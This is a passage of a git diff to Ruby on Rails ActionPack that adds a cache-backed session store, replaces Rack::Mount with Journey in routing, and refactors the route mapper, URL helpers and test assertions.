[#{const_error.class}])\n" + raise ActionDispatch::Session::SessionRestoreError, + "Session contains objects whose class definition isn't available.\n" + + "Remember to require the classes for all objects kept in the session.\n" + + "(Original exception: #{const_error.message} [#{const_error.class}])\n" end retry else @@ -73,13 +76,7 @@ module ActionDispatch include StaleSessionCheck def destroy_session(env, sid, options) - ActiveSupport::Deprecation.warn "Implementing #destroy in session stores is deprecated. " << - "Please implement destroy_session(env, session_id, options) instead." - destroy(env) - end - - def destroy(env) - raise '#destroy needs to be implemented.' + raise '#destroy_session needs to be implemented.' end end end diff --git a/actionpack/lib/action_dispatch/middleware/session/cache_store.rb b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb new file mode 100644 index 0000000000..d3b6fd12fa --- /dev/null +++ b/actionpack/lib/action_dispatch/middleware/session/cache_store.rb @@ -0,0 +1,50 @@ +require 'action_dispatch/middleware/session/abstract_store' +require 'rack/session/memcache' + +module ActionDispatch + module Session + # Session store that uses an ActiveSupport::Cache::Store to store the sessions. This store is most useful + # if you don't store critical data in your sessions and you don't need them to live for extended periods + # of time. + class CacheStore < AbstractStore + # Create a new store. The cache to use can be passed in the <tt>:cache</tt> option. If it is + # not specified, <tt>Rails.cache</tt> will be used. + def initialize(app, options = {}) + @cache = options[:cache] || Rails.cache + options[:expire_after] ||= @cache.options[:expires_in] + super + end + + # Get a session from the cache. + def get_session(env, sid) + sid ||= generate_sid + session = @cache.read(cache_key(sid)) + session ||= {} + [sid, session] + end + + # Set a session in the cache. + def set_session(env, sid, session, options) + key = cache_key(sid) + if session + @cache.write(key, session, :expires_in => options[:expire_after]) + else + @cache.delete(key) + end + sid + end + + # Remove a session from the cache. + def destroy_session(env, sid, options) + @cache.delete(cache_key(sid)) + generate_sid + end + + private + # Turn the session id into a cache key. + def cache_key(sid) + "_session_id:#{sid}" + end + end + end +end diff --git a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb index c17c746096..2fa68c64c5 100644 --- a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb +++ b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb @@ -1,4 +1,5 @@ require 'active_support/core_ext/exception' +require 'action_controller/metal/exceptions' require 'active_support/notifications' require 'action_dispatch/http/request' @@ -85,8 +86,8 @@ module ActionDispatch :framework_trace => framework_trace(exception), :full_trace => full_trace(exception) ) - file = "rescues/#{@@rescue_templates[exception.class.name]}.erb" - body = template.render(:file => file, :layout => 'rescues/layout.erb') + file = "rescues/#{@@rescue_templates[exception.class.name]}" + body = template.render(:template => file, :layout => 'rescues/layout') render(status_code(exception), body) end diff --git a/actionpack/lib/action_dispatch/railtie.rb b/actionpack/lib/action_dispatch/railtie.rb index f51cc3711b..1af89858d1 100644 --- a/actionpack/lib/action_dispatch/railtie.rb +++ b/actionpack/lib/action_dispatch/railtie.rb @@ -1,10 +1,9 @@ require "action_dispatch" -require "rails" module ActionDispatch class Railtie < Rails::Railtie config.action_dispatch = ActiveSupport::OrderedOptions.new - config.action_dispatch.x_sendfile_header = "" + config.action_dispatch.x_sendfile_header = nil config.action_dispatch.ip_spoofing_check = true config.action_dispatch.show_exceptions = true config.action_dispatch.best_standards_support = true diff --git a/actionpack/lib/action_dispatch/routing.rb b/actionpack/lib/action_dispatch/routing.rb index 74c090f260..1dcd83ceb5 100644 --- a/actionpack/lib/action_dispatch/routing.rb +++ b/actionpack/lib/action_dispatch/routing.rb @@ -161,7 +161,7 @@ module ActionDispatch # Consider the following route, which you will find commented out at the # bottom of your generated <tt>config/routes.rb</tt>: # - # match ':controller(/:action(/:id(.:format)))' + # match ':controller(/:action(/:id))(.:format)' # # This route states that it expects requests to consist of a # <tt>:controller</tt> followed optionally by an <tt>:action</tt> that in diff --git a/actionpack/lib/action_dispatch/routing/mapper.rb b/actionpack/lib/action_dispatch/routing/mapper.rb index 3ba6094fbb..09a8c10043 100644 --- a/actionpack/lib/action_dispatch/routing/mapper.rb +++ b/actionpack/lib/action_dispatch/routing/mapper.rb @@ -1,4 +1,3 @@ -require 'erb' require 'active_support/core_ext/hash/except' require 'active_support/core_ext/object/blank' require 'active_support/core_ext/object/inclusion' @@ -49,6 +48,9 @@ module ActionDispatch class Mapping #:nodoc: IGNORE_OPTIONS = [:to, :as, :via, :on, :constraints, :defaults, :only, :except, :anchor, :shallow, :shallow_path, :shallow_prefix] + ANCHOR_CHARACTERS_REGEX = %r{\A(\\A|\^)|(\\Z|\\z|\$)\Z} + SHORTHAND_REGEX = %r{/[\w/]+$} + WILDCARD_PATH = %r{\*([^/\)]+)\)?$} def initialize(set, scope, path, options) @set, @scope = set, scope @@ -68,7 +70,7 @@ module ActionDispatch if using_match_shorthand?(path_without_format, @options) to_shorthand = @options[:to].blank? - @options[:to] ||= path_without_format[1..-1].sub(%r{/([^/]*)$}, '#\1') + @options[:to] ||= path_without_format.gsub(/\(.*\)/, "")[1..-1].sub(%r{/([^/]*)$}, '#\1') end @options.merge!(default_controller_and_action(to_shorthand)) @@ -77,7 +79,7 @@ module ActionDispatch # segment_keys.include?(k.to_s) || k == :controller next unless Regexp === requirement && !constraints[name] - if requirement.source =~ %r{\A(\\A|\^)|(\\Z|\\z|\$)\Z} + if requirement.source =~ ANCHOR_CHARACTERS_REGEX raise ArgumentError, "Regexp anchor characters are not allowed in routing requirements: #{requirement.inspect}" end if requirement.multiline? @@ -88,7 +90,7 @@ module ActionDispatch # match "account/overview" def using_match_shorthand?(path, options) - path && options.except(:via, :anchor, :to, :as).empty? && path =~ %r{^/[\w\/]+$} + path && (options[:to] || options[:action]).nil? && path =~ SHORTHAND_REGEX end def normalize_path(path) @@ -102,13 +104,13 @@ module ActionDispatch # controllers with default routes like :controller/:action/:id(.:format), e.g: # GET /admin/products/show/1 # => { :controller => 'admin/products', :action => 'show', :id => '1' } - @options.reverse_merge!(:controller => /.+?/) + @options[:controller] ||= /.+?/ end # Add a constraint for wildcard route to make it non-greedy and match the # optional format part of the route by default - if path.match(/\*([^\/]+)$/) && @options[:format] != false - @options.reverse_merge!(:"#{$1}" => /.+?/) + if path.match(WILDCARD_PATH) && @options[:format] != false + @options[$1.to_sym] ||= /.+?/ end if @options[:format] == false @@ -116,6 +118,8 @@ module ActionDispatch path elsif path.include?(":format") || path.end_with?('/') path + elsif @options[:format] == true + "#{path}.:format" else "#{path}(.:format)" end @@ -187,13 +191,12 @@ module ActionDispatch end def blocks - block = @scope[:blocks] || [] - - if @options[:constraints].present? && !@options[:constraints].is_a?(Hash) - block << @options[:constraints] + constraints = @options[:constraints] + if constraints.present? && !constraints.is_a?(Hash) + [constraints] + else + @scope[:blocks] || [] end - - block end def constraints @@ -210,8 +213,8 @@ module ActionDispatch end def segment_keys - @segment_keys ||= Rack::Mount::RegexpWithNamedGroups.new( - Rack::Mount::Strexp.compile(@path, requirements, SEPARATORS) + @segment_keys ||= Journey::Path::Pattern.new( + Journey::Router::Strexp.compile(@path, requirements, SEPARATORS) ).names end @@ -220,19 +223,11 @@ module ActionDispatch end def default_controller - if @options[:controller] - @options[:controller] - elsif @scope[:controller] - @scope[:controller] - end + @options[:controller] || @scope[:controller] end def default_action - if @options[:action] - @options[:action] - elsif @scope[:action] - @scope[:action] - end + @options[:action] || @scope[:action] end end @@ -240,7 +235,7 @@ module ActionDispatch # (:locale) becomes (/:locale) instead of /(:locale). Except # for root cases, where the latter is the correct one. def self.normalize_path(path) - path = Rack::Mount::Utils.normalize_path(path) + path = Journey::Router::Utils.normalize_path(path) path.gsub!(%r{/(\(+)/?}, '\1/') unless path =~ %r{^/\(+[^/]+\)$} path end @@ -260,7 +255,7 @@ module ActionDispatch # because this means it will be matched first. As this is the most popular route # of most Rails applications, this is beneficial. def root(options = {}) - match '/', options.reverse_merge(:as => :root) + match '/', { :as => :root }.merge(options) end # Matches a url pattern to one or more routes. Any symbols in a pattern @@ -335,7 +330,7 @@ module ActionDispatch # # [:on] # Shorthand for wrapping routes in a specific RESTful context. Valid - # values are +:member+, +:collection+, and +:new+. Only use within + # values are +:member+, +:collection+, and +:new+. Only use within # <tt>resource(s)</tt> block. For example: # # resource :bar do @@ -457,7 +452,9 @@ module ActionDispatch prefix_options = options.slice(*_route.segment_keys) # we must actually delete prefix segment keys to avoid passing them to next url_for _route.segment_keys.each { |k| options.delete(k) } - _routes.url_helpers.send("#{name}_path", prefix_options) + prefix = _routes.url_helpers.send("#{name}_path", prefix_options) + prefix = '' if prefix == '/' + prefix end end end @@ -578,8 +575,8 @@ module ActionDispatch # end # # This generates helpers such as +account_projects_path+, just like +resources+ does. - # The difference here being that the routes generated are like /rails/projects/2, - # rather than /accounts/rails/projects/2. + # The difference here being that the routes generated are like /:account_id/projects, + # rather than /accounts/:account_id/projects. # # === Options # @@ -656,13 +653,13 @@ module ActionDispatch # # This generates the following routes: # - # admin_posts GET /admin/posts(.:format) {:action=>"index", :controller=>"admin/posts"} - # admin_posts POST /admin/posts(.:format) {:action=>"create", :controller=>"admin/posts"} - # new_admin_post GET /admin/posts/new(.:format) {:action=>"new", :controller=>"admin/posts"} - # edit_admin_post GET /admin/posts/:id/edit(.:format) {:action=>"edit", :controller=>"admin/posts"} - # admin_post GET /admin/posts/:id(.:format) {:action=>"show", :controller=>"admin/posts"} - # admin_post PUT /admin/posts/:id(.:format) {:action=>"update", :controller=>"admin/posts"} - # admin_post DELETE /admin/posts/:id(.:format) {:action=>"destroy", :controller=>"admin/posts"} + # admin_posts GET /admin/posts(.:format) admin/posts#index + # admin_posts POST /admin/posts(.:format) admin/posts#create + # new_admin_post GET /admin/posts/new(.:format) admin/posts#new + # edit_admin_post GET /admin/posts/:id/edit(.:format) admin/posts#edit + # admin_post GET /admin/posts/:id(.:format) admin/posts#show + # admin_post PUT /admin/posts/:id(.:format) admin/posts#update + # admin_post DELETE /admin/posts/:id(.:format) admin/posts#destroy # # === Options # @@ -699,7 +696,7 @@ module ActionDispatch # Allows you to constrain the nested routes based on a set of rules. # For instance, in order to change the routes to allow for a dot character in the +id+ parameter: # - # constraints(:id => /\d+\.\d+) do + # constraints(:id => /\d+\.\d+/) do # resources :posts # end # @@ -709,7 +706,7 @@ module ActionDispatch # You may use this to also restrict other parameters: # # resources :posts do - # constraints(:post_id => /\d+\.\d+) do + # constraints(:post_id => /\d+\.\d+/) do # resources :comments # end # end @@ -876,9 +873,9 @@ module ActionDispatch def initialize(entities, options = {}) @name = entities.to_s - @path = (options.delete(:path) || @name).to_s - @controller = (options.delete(:controller) || @name).to_s - @as = options.delete(:as) + @path = (options[:path] || @name).to_s + @controller = (options[:controller] || @name).to_s + @as = options[:as] @options = options end @@ -910,7 +907,7 @@ module ActionDispatch alias :member_name :singular - # Checks for uncountable plurals, and appends "_index" if the plural + # Checks for uncountable plurals, and appends "_index" if the plural # and singular form are the same. def collection_name singular == plural ? "#{plural}_index" : plural @@ -940,12 +937,11 @@ module ActionDispatch DEFAULT_ACTIONS = [:show, :create, :update, :destroy, :new, :edit] def initialize(entities, options) + super + @as = nil - @name = entities.to_s - @path = (options.delete(:path) || @name).to_s - @controller = (options.delete(:controller) || plural).to_s - @as = options.delete(:as) - @options = options + @controller = (options[:controller] || plural).to_s + @as = options[:as] end def plural @@ -1042,12 +1038,12 @@ module ActionDispatch # # This generates the following comments routes: # - # GET /photos/:id/comments/new - # POST /photos/:id/comments - # GET /photos/:id/comments/:id - # GET /photos/:id/comments/:id/edit - # PUT /photos/:id/comments/:id - # DELETE /photos/:id/comments/:id + # GET /photos/:photo_id/comments/new + # POST /photos/:photo_id/comments + # GET /photos/:photo_id/comments/:id + # GET /photos/:photo_id/comments/:id/edit + # PUT /photos/:photo_id/comments/:id + # DELETE /photos/:photo_id/comments/:id # # === Options # Takes same options as <tt>Base#match</tt> as well as: @@ -1083,24 +1079,28 @@ module ActionDispatch # Is the same as: # # resources :posts do - # resources :comments + # resources :comments, :except => [:show, :edit, :update, :destroy] # end - # resources :comments + # resources :comments, :only => [:show, :edit, :update, :destroy] + # + # This allows URLs for resources that otherwise would be deeply nested such + # as a comment on a blog post like <tt>/posts/a-long-permalink/comments/1234</tt> + # to be shortened to just <tt>/comments/1234</tt>. # # [:shallow_path] # Prefixes nested shallow routes with the specified path. # - # scope :shallow_path => "sekret" do - # resources :posts do - # resources :comments, :shallow => true + # scope :shallow_path => "sekret" do + # resources :posts do + # resources :comments, :shallow => true + # end # end - # end # # The +comments+ resource here will have the following routes generated for it: # - # post_comments GET /sekret/posts/:post_id/comments(.:format) - # post_comments POST /sekret/posts/:post_id/comments(.:format) - # new_post_comment GET /sekret/posts/:post_id/comments/new(.:format) + # post_comments GET /posts/:post_id/comments(.:format) + # post_comments POST /posts/:post_id/comments(.:format) + # new_post_comment GET /posts/:post_id/comments/new(.:format) # edit_comment GET /sekret/comments/:id/edit(.:format) # comment GET /sekret/comments/:id(.:format) # comment PUT /sekret/comments/:id(.:format) @@ -1419,7 +1419,9 @@ module ActionDispatch end def action_path(name, path = nil) #:nodoc: - path || @scope[:path_names][name.to_sym] || name.to_s + # Ruby 1.8 can't transform empty strings to symbols + name = name.to_sym if name.is_a?(String) && !name.empty? + path || @scope[:path_names][name] || name.to_s end def prefix_name_for_action(as, action) #:nodoc: @@ -1436,7 +1438,7 @@ module ActionDispatch name_prefix = @scope[:as] if parent_resource - return nil if as.nil? && action.nil? + return nil unless as || action collection_name = parent_resource.collection_name member_name = parent_resource.member_name @@ -1463,9 +1465,9 @@ module ActionDispatch end module Shorthand #:nodoc: - def match(*args) - if args.size == 1 && args.last.is_a?(Hash) - options = args.pop + def match(path, *rest) + if rest.empty? && Hash === path + options = path path, to = options.find { |name, value| name.is_a?(String) } options.merge!(:to => to).delete(path) super(path, options) diff --git a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb index 82c4fadb50..e989a38d8b 100644 --- a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb +++ b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb @@ -124,14 +124,7 @@ module ActionDispatch args.last.kind_of?(Hash) ? args.last.merge!(url_options) : args << url_options end - if proxy - proxy.send(named_route, *args) - else - # we need to use url_for, because polymorphic_url can be used in context of other than - # current routes (e.g. engine's routes). As named routes from engine are not included - # calling engine's named route directly would fail. - url_for _routes.url_helpers.__send__("hash_for_#{named_route}", *args) - end + (proxy || self).send(named_route, *args) end # Returns the path component of a URL for the given record. It uses @@ -182,10 +175,12 @@ module ActionDispatch if record.is_a?(Symbol) || record.is_a?(String) route << record - else + elsif record route << ActiveModel::Naming.route_key(record) route = [route.join("_").singularize] if inflection == :singular route << "index" if ActiveModel::Naming.uncountable?(record) && inflection == :plural + else + raise ArgumentError, "Nil location provided. Can't build URI." end route << routing_type(options) diff --git a/actionpack/lib/action_dispatch/routing/route.rb b/actionpack/lib/action_dispatch/routing/route.rb deleted file mode 100644 index a049510182..0000000000 --- a/actionpack/lib/action_dispatch/routing/route.rb +++ /dev/null @@ -1,67 +0,0 @@ -require 'active_support/core_ext/module/deprecation' - -module ActionDispatch - module Routing - class Route #:nodoc: - attr_reader :app, :conditions, :defaults, :name - attr_reader :path, :requirements, :set - - def initialize(set, app, conditions, requirements, defaults, name, anchor) - @set = set - @app = app - @defaults = defaults - @name = name - - # FIXME: we should not be doing this much work in a constructor. - - @requirements = requirements.merge(defaults) - @requirements.delete(:controller) if @requirements[:controller].is_a?(Regexp) - @requirements.delete_if { |k, v| - v == Regexp.compile("[^#{SEPARATORS.join}]+") - } - - if path = conditions[:path_info] - @path = path - conditions[:path_info] = ::Rack::Mount::Strexp.compile(path, requirements, SEPARATORS, anchor) - end - - @verbs = conditions[:request_method] || [] - - @conditions = conditions.dup - - # Rack-Mount requires that :request_method be a regular expression. - # :request_method represents the HTTP verb that matches this route. - # - # Here we munge values before they get sent on to rack-mount. - @conditions[:request_method] = %r[^#{verb}$] unless @verbs.empty? - @conditions[:path_info] = Rack::Mount::RegexpWithNamedGroups.new(@conditions[:path_info]) if @conditions[:path_info] - @conditions.delete_if{ |k,v| k != :path_info && !valid_condition?(k) } - @requirements.delete_if{ |k,v| !valid_condition?(k) } - end - - def verb - @verbs.join '|' - end - - def segment_keys - @segment_keys ||= conditions[:path_info].names.compact.map { |key| key.to_sym } - end - - def to_a - [@app, @conditions, @defaults, @name] - end - deprecate :to_a - - def to_s - @to_s ||= begin - "%-6s %-40s %s" % [(verb || :any).to_s.upcase, path, requirements.inspect] - end - end - - private - def valid_condition?(method) - segment_keys.include?(method) || set.valid_conditions.include?(method) - end - end - end -end diff --git a/actionpack/lib/action_dispatch/routing/route_set.rb b/actionpack/lib/action_dispatch/routing/route_set.rb index 5097f6732d..e7bc431783 100644 --- a/actionpack/lib/action_dispatch/routing/route_set.rb +++ b/actionpack/lib/action_dispatch/routing/route_set.rb @@ -1,9 +1,10 @@ -require 'rack/mount' +require 'journey' require 'forwardable' require 'active_support/core_ext/object/blank' require 'active_support/core_ext/object/to_query' require 'active_support/core_ext/hash/slice' require 'active_support/core_ext/module/remove_method' +require 'action_controller/metal/exceptions' module ActionDispatch module Routing @@ -164,13 +165,14 @@ module ActionDispatch remove_possible_method :#{selector} def #{selector}(*args) options = args.extract_options! + result = #{options.inspect} if args.any? - options[:_positional_args] = args - options[:_positional_keys] = #{route.segment_keys.inspect} + result[:_positional_args] = args + result[:_positional_keys] = #{route.segment_keys.inspect} end - options ? #{options.inspect}.merge(options) : #{options.inspect} + result.merge(options) end protected :#{selector} END_EVAL @@ -204,29 +206,42 @@ module ActionDispatch end end - attr_accessor :set, :routes, :named_routes, :default_scope + attr_accessor :formatter, :set, :named_routes, :default_scope, :router attr_accessor :disable_clear_and_finalize, :resources_path_names attr_accessor :default_url_options, :request_class, :valid_conditions + alias :routes :set + def self.default_resources_path_names { :new => 'new', :edit => 'edit' } end def initialize(request_class = ActionDispatch::Request) - self.routes = [] self.named_routes = NamedRouteCollection.new self.resources_path_names = self.class.default_resources_path_names.dup self.default_url_options = {} self.request_class = request_class - self.valid_conditions = request_class.public_instance_methods.map { |m| m.to_sym } + @valid_conditions = {} + + request_class.public_instance_methods.each { |m| + @valid_conditions[m.to_sym] = true + } + @valid_conditions[:controller] = true + @valid_conditions[:action] = true + self.valid_conditions.delete(:id) - self.valid_conditions.push(:controller, :action) - @append = [] - @prepend = [] + @append = [] + @prepend = [] @disable_clear_and_finalize = false - clear! + @finalized = false + + @set = Journey::Routes.new + @router = Journey::Router.new(@set, { + :parameters_key => PARAMETERS_KEY, + :request_class => request_class}) + @formatter = Journey::Formatter.new @set end def draw(&block) @@ -262,17 +277,13 @@ module ActionDispatch return if @finalized @append.each { |blk| eval_block(blk) } @finalized = true - @set.freeze end def clear! @finalized = false - routes.clear named_routes.clear - @set = ::Rack::Mount::RouteSet.new( - :parameters_key => PARAMETERS_KEY, - :request_class => request_class - ) + set.clear + formatter.clear @prepend.each { |blk| eval_block(blk) } end @@ -340,26 +351,54 @@ module ActionDispatch def add_route(app, conditions = {}, requirements = {}, defaults = {}, name = nil, anchor = true) raise ArgumentError, "Invalid route name: '#{name}'" unless name.blank? || name.to_s.match(/^[_a-z]\w*$/i) - route = Route.new(self, app, conditions, requirements, defaults, name, anchor) - @set.add_route(route.app, route.conditions, route.defaults, route.name) + + path = build_path(conditions.delete(:path_info), requirements, SEPARATORS, anchor) + conditions = build_conditions(conditions, valid_conditions, path.names.map { |x| x.to_sym }) + + route = @set.add_route(app, path, conditions, defaults, name) named_routes[name] = route if name - routes << route route end + def build_path(path, requirements, separators, anchor) + strexp = Journey::Router::Strexp.new( + path, + requirements, + SEPARATORS, + anchor) + + Journey::Path::Pattern.new(strexp) + end + private :build_path + + def build_conditions(current_conditions, req_predicates, path_values) + conditions = current_conditions.dup + + verbs = conditions[:request_method] || [] + + # Rack-Mount requires that :request_method be a regular expression. + # :request_method represents the HTTP verb that matches this route. + # + # Here we munge values before they get sent on to rack-mount. + unless verbs.empty? + conditions[:request_method] = %r[^#{verbs.join('|')}$] + end + conditions.delete_if { |k,v| !(req_predicates.include?(k) || path_values.include?(k)) } + + conditions + end + private :build_conditions + class Generator #:nodoc: - PARAMETERIZE = { - :parameterize => lambda do |name, value| - if name == :controller - value - elsif value.is_a?(Array) - value.map { |v| Rack::Mount::Utils.escape_uri(v.to_param) }.join('/') - else - return nil unless param = value.to_param - param.split('/').map { |v| Rack::Mount::Utils.escape_uri(v) }.join("/") - end + PARAMETERIZE = lambda do |name, value| + if name == :controller + value + elsif value.is_a?(Array) + value.map { |v| v.to_param }.join('/') + elsif param = value.to_param + param end - } + end attr_reader :options, :recall, :set, :named_route @@ -449,14 +488,14 @@ module ActionDispatch end def generate - path, params = @set.set.generate(:path_info, named_route, options, recall, PARAMETERIZE) + path, params = @set.formatter.generate(:path_info, named_route, options, recall, PARAMETERIZE) raise_routing_error unless path return [path, params.keys] if @extras [path, params] - rescue Rack::Mount::RoutingError + rescue Journey::Router::RoutingError raise_routing_error end @@ -528,12 +567,12 @@ module ActionDispatch def call(env) finalize! - @set.call(env) + @router.call(env) end def recognize_path(path, environment = {}) method = (environment[:method] || "GET").to_s.upcase - path = Rack::Mount::Utils.normalize_path(path) unless path =~ %r{://} + path = Journey::Router::Utils.normalize_path(path) unless path =~ %r{://} begin env = Rack::MockRequest.env_for(path, {:method => method}) @@ -542,7 +581,7 @@ module ActionDispatch end req = @request_class.new(env) - @set.recognize(req) do |route, matches, params| + @router.recognize(req) do |route, matches, params| params.each do |key, value| if value.is_a?(String) value = value.dup.force_encoding(Encoding::BINARY) if value.encoding_aware? diff --git a/actionpack/lib/action_dispatch/routing/url_for.rb b/actionpack/lib/action_dispatch/routing/url_for.rb index 5893f86798..8fc8dc191b 100644 --- a/actionpack/lib/action_dispatch/routing/url_for.rb +++ b/actionpack/lib/action_dispatch/routing/url_for.rb @@ -108,7 +108,7 @@ module ActionDispatch end # Generate a url based on the options provided, default_url_options and the - # routes defined in routes.rb. The following options are supported: + # routes defined in routes.rb. The following options are supported: # # * <tt>:only_path</tt> - If true, the relative url is returned. Defaults to +false+. # * <tt>:protocol</tt> - The protocol to connect to. Defaults to 'http'. @@ -116,9 +116,10 @@ module ActionDispatch # If <tt>:only_path</tt> is false, this option must be # provided either explicitly, or via +default_url_options+. # * <tt>:subdomain</tt> - Specifies the subdomain of the link, using the +tld_length+ - # to split the domain from the host. - # * <tt>:domain</tt> - Specifies the domain of the link, using the +tld_length+ # to split the subdomain from the host. + # If false, removes all subdomains from the host part of the link. + # * <tt>:domain</tt> - Specifies the domain of the link, using the +tld_length+ + # to split the domain from the host. # * <tt>:tld_length</tt> - Number of labels the TLD id composed of, only used if # <tt>:subdomain</tt> or <tt>:domain</tt> are supplied. Defaults to # <tt>ActionDispatch::Http::URL.tld_length</tt>, which in turn defaults to 1. @@ -131,16 +132,20 @@ module ActionDispatch # # Examples: # - # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :port => '8080' # => 'http://somehost.org:8080/tasks/testing' - # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :anchor => 'ok', :only_path => true # => '/tasks/testing#ok' - # url_for :controller => 'tasks', :action => 'testing', :trailing_slash => true # => 'http://somehost.org/tasks/testing/' - # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :number => '33' # => 'http://somehost.org/tasks/testing?number=33' + # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :port => '8080' + # # => 'http://somehost.org:8080/tasks/testing' + # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :anchor => 'ok', :only_path => true + # # => '/tasks/testing#ok' + # url_for :controller => 'tasks', :action => 'testing', :trailing_slash => true + # # => 'http://somehost.org/tasks/testing/' + # url_for :controller => 'tasks', :action => 'testing', :host => 'somehost.org', :number => '33' + # # => 'http://somehost.org/tasks/testing?number=33' def url_for(options = nil) case options when String options when nil, Hash - _routes.url_for((options || {}).reverse_merge!(url_options).symbolize_keys) + _routes.url_for((options || {}).reverse_merge(url_options).symbolize_keys) else polymorphic_url(options) end diff --git a/actionpack/lib/action_dispatch/testing/assertions.rb b/actionpack/lib/action_dispatch/testing/assertions.rb index 822150b768..226baf9ad0 100644 --- a/actionpack/lib/action_dispatch/testing/assertions.rb +++ b/actionpack/lib/action_dispatch/testing/assertions.rb @@ -8,12 +8,11 @@ module ActionDispatch extend ActiveSupport::Concern - included do - include DomAssertions - include ResponseAssertions - include RoutingAssertions - include SelectorAssertions - include TagAssertions - end + include DomAssertions + include ResponseAssertions + include RoutingAssertions + include SelectorAssertions + include TagAssertions end end + diff --git a/actionpack/lib/action_dispatch/testing/assertions/response.rb b/actionpack/lib/action_dispatch/testing/assertions/response.rb index 3335742d47..7381617dd7 100644 --- a/actionpack/lib/action_dispatch/testing/assertions/response.rb +++ b/actionpack/lib/action_dispatch/testing/assertions/response.rb @@ -6,13 +6,6 @@ module ActionDispatch module ResponseAssertions extend ActiveSupport::Concern - included do - # TODO: Need to pull in AV::Template monkey patches that track which - # templates are rendered. assert_template should probably be part - # of AV instead of AD. - require 'action_view/test_case' - end - # Asserts that the response is one of the following types: # # * <tt>:success</tt> - Status code was 200 @@ -62,16 +55,14 @@ module ActionDispatch # assert_redirected_to @customer # def assert_redirected_to(options = {}, message=nil) - validate_request! - assert_response(:redirect, message) return true if options == @response.location - redirected_to_after_normalisation = normalize_argument_to_redirection(@response.location) - options_after_normalisation = normalize_argument_to_redirection(options) + redirect_is = normalize_argument_to_redirection(@response.location) + redirect_expected = normalize_argument_to_redirection(options) - if redirected_to_after_normalisation != options_after_normalisation - flunk "Expected response to be a redirect to <#{options_after_normalisation}> but was a redirect to <#{redirected_to_after_normalisation}>" + if redirect_is != redirect_expected + flunk "Expected response to be a redirect to <#{redirect_expected}> but was a redirect to <#{redirect_is}>" end end diff --git a/actionpack/lib/action_dispatch/testing/assertions/routing.rb b/actionpack/lib/action_dispatch/testing/assertions/routing.rb index b760db42e2..b10aab9029 100644 --- a/actionpack/lib/action_dispatch/testing/assertions/routing.rb +++ b/actionpack/lib/action_dispatch/testing/assertions/routing.rb @@ -1,24 +1,25 @@ require 'uri' require 'active_support/core_ext/hash/diff' require 'active_support/core_ext/hash/indifferent_access' +require 'action_controller/metal/exceptions' module ActionDispatch module Assertions # Suite of assertions to test routes generated by \Rails and the handling of requests made to them. module RoutingAssertions # Asserts that the routing of the given +path+ was handled correctly and that the parsed options (given in the +expected_options+ hash) - # match +path+. Basically, it asserts that \Rails recognizes the route given by +expected_options+. + # match +path+. Basically, it asserts that \Rails recognizes the route given by +expected_options+. # - # Pass a hash in the second argument (+path+) to specify the request method. This is useful for routes - # requiring a specific HTTP method. The hash should contain a :path with the incoming request path + # Pass a hash in the second argument (+path+) to specify the request method. This is useful for routes + # requiring a specific HTTP method. The hash should contain a :path with the incoming request path # and a :method containing the required HTTP verb. # # # assert that POSTing to /items will call the create action on ItemsController # assert_recognizes({:controller => 'items', :action => 'create'}, {:path => 'items', :method => :post}) # - # You can also pass in +extras+ with a hash containing URL parameters that would normally be in the query string. This can be used - # to assert that values in the query string string will end up in the params hash correctly. To test query strings you must use the - # extras argument, appending the query string on the path directly will not work. For example: + # You can also pass in +extras+ with a hash containing URL parameters that would normally be in the query string. This can be used + # to assert that values in the query string string will end up in the params hash correctly. To test query strings you must use the + # extras argument, appending the query string on the path directly will not work. For example: # # # assert that a path of '/items/list/1?view=print' returns the correct options # assert_recognizes({:controller => 'items', :action => 'list', :id => '1', :view => 'print'}, 'items/list/1', { :view => "print" }) @@ -49,7 +50,7 @@ module ActionDispatch assert_equal(expected_options, request.path_parameters, msg) end - # Asserts that the provided options can be used to generate the provided path. This is the inverse of +assert_recognizes+. + # Asserts that the provided options can be used to generate the provided path. This is the inverse of +assert_recognizes+. # The +extras+ parameter is used to tell the request the names and values of additional request parameters that would be in # a query string. The +message+ parameter allows you to specify a custom error message for assertion failures. # @@ -92,10 +93,10 @@ module ActionDispatch end # Asserts that path and options match both ways; in other words, it verifies that <tt>path</tt> generates - # <tt>options</tt> and then that <tt>options</tt> generates <tt>path</tt>. This essentially combines +assert_recognizes+ + # <tt>options</tt> and then that <tt>options</tt> generates <tt>path</tt>. This essentially combines +assert_recognizes+ # and +assert_generates+ into one step. # - # The +extras+ hash allows you to specify options that would normally be provided as a query string to the action. The + # The +extras+ hash allows you to specify options that would normally be provided as a query string to the action. The # +message+ parameter allows you to specify a custom error message to display upon failure. # # ==== Examples diff --git a/actionpack/lib/action_dispatch/testing/assertions/selector.rb b/actionpack/lib/action_dispatch/testing/assertions/selector.rb index 5fa91d1a76..b4555f4f59 100644 --- a/actionpack/lib/action_dispatch/testing/assertions/selector.rb +++ b/actionpack/lib/action_dispatch/testing/assertions/selector.rb @@ -415,9 +415,9 @@ module ActionDispatch assert !deliveries.empty?, "No e-mail in delivery list" for delivery in deliveries - for part in delivery.parts + for part in (delivery.parts.empty? ? [delivery] : delivery.parts) if part["Content-Type"].to_s =~ /^text\/html\W/ - root = HTML::Document.new(part.body).root + root = HTML::Document.new(part.body.to_s).root assert_select root, ":root", &block end end diff --git a/actionpack/lib/action_dispatch/testing/integration.rb b/actionpack/lib/action_dispatch/testing/integration.rb index 7d707d03a9..0f1bb9f260 100644 --- a/actionpack/lib/action_dispatch/testing/integration.rb +++ b/actionpack/lib/action_dispatch/testing/integration.rb @@ -62,7 +62,7 @@ module ActionDispatch # # The request_method is +:get+, +:post+, +:put+, +:delete+ or +:head+; the # parameters are +nil+, a hash, or a url-encoded or multipart string; - # the headers are a hash. Keys are automatically upcased and prefixed + # the headers are a hash. Keys are automatically upcased and prefixed # with 'HTTP_' if not already. def xml_http_request(request_method, path, parameters = nil, headers = nil) headers ||= 